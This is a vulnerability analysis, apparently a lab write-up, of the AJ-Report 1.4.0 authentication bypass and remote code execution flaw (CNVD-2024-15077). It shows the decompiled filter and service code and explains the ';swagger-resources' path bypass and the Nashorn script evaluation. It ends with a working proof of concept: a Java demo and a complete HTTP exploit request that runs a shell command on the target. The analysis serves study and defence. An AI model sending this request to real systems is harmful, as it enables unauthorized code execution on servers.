AJ-Report Authentication Bypass to Remote Code Execution (CNVD-2024-15077)

AJ-Report is an open-source Business Intelligence platform. In versions 1.4.0 and earlier, an authentication bypass vulnerability exists. An attacker can exploit this flaw to circumvent access controls and execute arbitrary code on the server.

Patch Comparison

Method 1

Extract the compiled code from a Docker container and download the official release from Gitee to compare the class files.

Method 2

Review the Git commit history to directly observe the code changes. The specific commit can be found at: https://gitee.com/anji-plus/report/commit/bd95a34db8fa68ab5aa96189764205c89c5e7061

The fix description states: Added a blacklist for script engine classes to patch command execution vulnerabilities.

Remote Debugging Challenges

JDK Version

The project runs on JDK 8. Ensure the IDE is configured with the correct JDK version before starting remote debugging; otherwise, the debug parameters may fail.

Adding Libraries

If the socket connection succedes but breakpoints are not hitting, verify the JDK version first. Next, check the library configuration. In Project Structure -> Libraries, add all JAR files from the current directory and subdirectories. If it still fails, continue adding recursively.

You must add the libraires down to the BOOT-INF level. The JAR likely uses a multi-level directory structure, so you may need to add libraries recursively until you reach the classes directory.

Vulnerability Analysis

Extract the code from aj-report-1.4.0.RELEASE.jar located in \vulhub\CNVD-2024-15077\aj-report-1.4.0.RELEASE\lib\ and add it as a library to enable source code viewing and debugging.

Routing

As a standard Spring Boot application, the vulnerable endpoint is directly accessible at /dataSetParam/verification.

Authentication Bypass

To bypass authentication, examine the TokenFilter class located at: BOOT-INF\classes\com\anjiplus\template\gaea\business\filter\TokenFilter.class

Accessing swagger-resources reveals /v2/api-docs, which leaks the API documentation (interface exposure).

public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
    HttpServletRequest req = (HttpServletRequest) servletRequest;
    HttpServletResponse res = (HttpServletResponse) servletResponse;
    String requestUri = req.getRequestURI();

    if ("OPTIONS".equalsIgnoreCase(req.getMethod())) {
        filterChain.doFilter(req, res);
    } else if (!requestUri.contains("swagger-ui") && !requestUri.contains("swagger-resources")) {
        if (!this.SLASH.equals(requestUri) && !this.SLASH.concat("/").equals(requestUri)) {
            boolean skipCheck = this.skipAuthenticatePattern.matcher(requestUri).matches();
            if (skipCheck) {
                filterChain.doFilter(req, res);
            } else {
                String authToken = req.getHeader("Authorization");
                String shareToken = req.getHeader("Share-Token");
                if (StringUtils.isBlank(authToken) && StringUtils.isBlank(shareToken)) {
                    this.error(res);
                } else {
                    String username;
                    try {
                        username = this.jwtBean.getUsername(authToken);
                    } catch (Exception e) {
                        username = "";
                    }

                    String tokenCacheKey = String.format("gaea:security:login:token:%s", username);
                    String userCacheKey = String.format("gaea:security:login:user:%s", username);

                    if (!this.cacheHelper.exist(tokenCacheKey)) {
                        if (StringUtils.isNotBlank(shareToken)) {
                            List<String> codes = JwtUtil.getReportCodeList(shareToken);
                            if (!requestUri.endsWith("/reportDashboard/getData") && !requestUri.endsWith("/reportExcel/preview")) {
                                Stream varStream = codes.stream();
                                requestUri.getClass();
                                if (varStream.noneMatch(requestUri::contains)) {
                                    ResponseBean respBean = ResponseBean.builder().code("50014").message("Share link expired").build();
                                    res.getWriter().print(JSONObject.toJSONString(respBean));
                                    return;
                                }
                            }
                            filterChain.doFilter(req, res);
                        } else {
                            this.error(res);
                        }
                    } else {
                        String userJson = this.cacheHelper.stringGet(userCacheKey);
                        if (!"admin".equals(username)) {
                            AtomicBoolean authFlag = this.authorize(req, userJson);
                            if (!authFlag.get()) {
                                this.authError(res);
                                return;
                            }
                        }
                        this.cacheHelper.stringSetExpire(tokenCacheKey, authToken, 3600L);
                        this.cacheHelper.stringSetExpire(userCacheKey, userJson, 3600L);
                        filterChain.doFilter(req, res);
                    }
                }
            }
        } else if ("/".equals(requestUri)) {
            res.sendRedirect("/index.html");
        } else {
            res.sendRedirect(this.SLASH + "/index.html");
        }
    } else {
        filterChain.doFilter(req, res);
    }
}

An attacker can bypass the Filter logic by accessing /dataSetParam/verification;swagger-resources.

The semicolon (;) in the URL denotes Matrix Parameters. While Spring Boot supports path segment parameters, the default configuration often strips content after the semicolon for security or compatibility reasons, allowing the path to pass the whitelist check in the Filter while still routing to the correct controller.

Code Execution

The patch history indicates a blacklist was added to the engine handling. The vulnerability lies in DataSetParamController#verification.

@PostMapping("/verification")
public ResponseBean validateParams(@Validated @RequestBody ValidationInput input) {
    RuleDto ruleDto = new RuleDto();
    ruleDto.setSampleData(input.getSampleData());
    ruleDto.setScriptRules(input.getScriptRules());
    return this.responseSuccessWithData(this.dataSetParamService.executeValidation(ruleDto));
}

Note that the data must be in JSON format due to the @RequestBody annotation.

In DataSetParamServiceImpl#executeValidation:

public Object executeValidation(RuleDto dto) {
    String script = dto.getScriptRules();
    if (StringUtils.isNotBlank(script)) {
        try {
            this.scriptEngine.eval(script);
            if (this.scriptEngine instanceof Invocable) {
                Invocable invocable = (Invocable) this.scriptEngine;
                Object result = invocable.invokeFunction("validation", new Object[]{dto});
                ObjectMapper mapper = new ObjectMapper();
                if (result instanceof Boolean) {
                    return mapper.convertValue(result, Boolean.class);
                }
                return mapper.convertValue(result, String.class);
            }
        } catch (Exception e) {
            throw BusinessExceptionBuilder.build("4005", new Object[]{e.getMessage()});
        }
    }
    return true;
}

The line this.scriptEngine.eval(script); allows Remote Code Execution (RCE). The constructor initializes the engine:

public DataSetParamServiceImpl() {
    ScriptEngineManager mgr = new ScriptEngineManager();
    this.scriptEngine = mgr.getEngineByName("JavaScript");
}

In Java 8, getEngineByName("JavaScript") returns the Nashorn engine, which allows JavaScript code to interoperate with Java classes.

Proof of Concept (PoC)

Nashorn Command Execution

Nashorn allows JavaScript to instantiate Java classes, such as java.lang.ProcessBuilder.

public class Demo {
    public static void main(String[] args) throws ScriptException {
        ScriptEngineManager mgr = new ScriptEngineManager();
        ScriptEngine jsEngine = mgr.getEngineByName("JavaScript");
        String payload = "var PB = Java.type('java.lang.ProcessBuilder'); new PB('calc.exe').start();";
        jsEngine.eval(payload);
    }
}

Data Flow in Spring Boot

  • Param: Transfer data from Client to Controller.
  • DTO: Transfer data from Controller to Service.
  • Entity/POJO: Represent database tables, used between Service and DAO.

Flow: Param -> DTO -> Entity.

Exploit Request

POST /dataSetParam/verification;swagger-resources HTTP/1.1
Host: target-ip:9095
Content-Type: application/json;charset=UTF-8
Authorization: 

{
    "sampleData": "test",
    "scriptRules": "var PB = Java.type('java.lang.ProcessBuilder'); var p = new PB('/bin/bash', '-c', 'touch /tmp/pwned').start();"
}

Note: In JSON, ensure special characters like double quotes (") and backslashes (\) are properly escaped with \.

Tags: AJ-Report CNVD-2024-15077 RCE Authentication Bypass Nashorn

Posted on Sat, 07 Nov 2026 16:23:25 +0000 by darknuke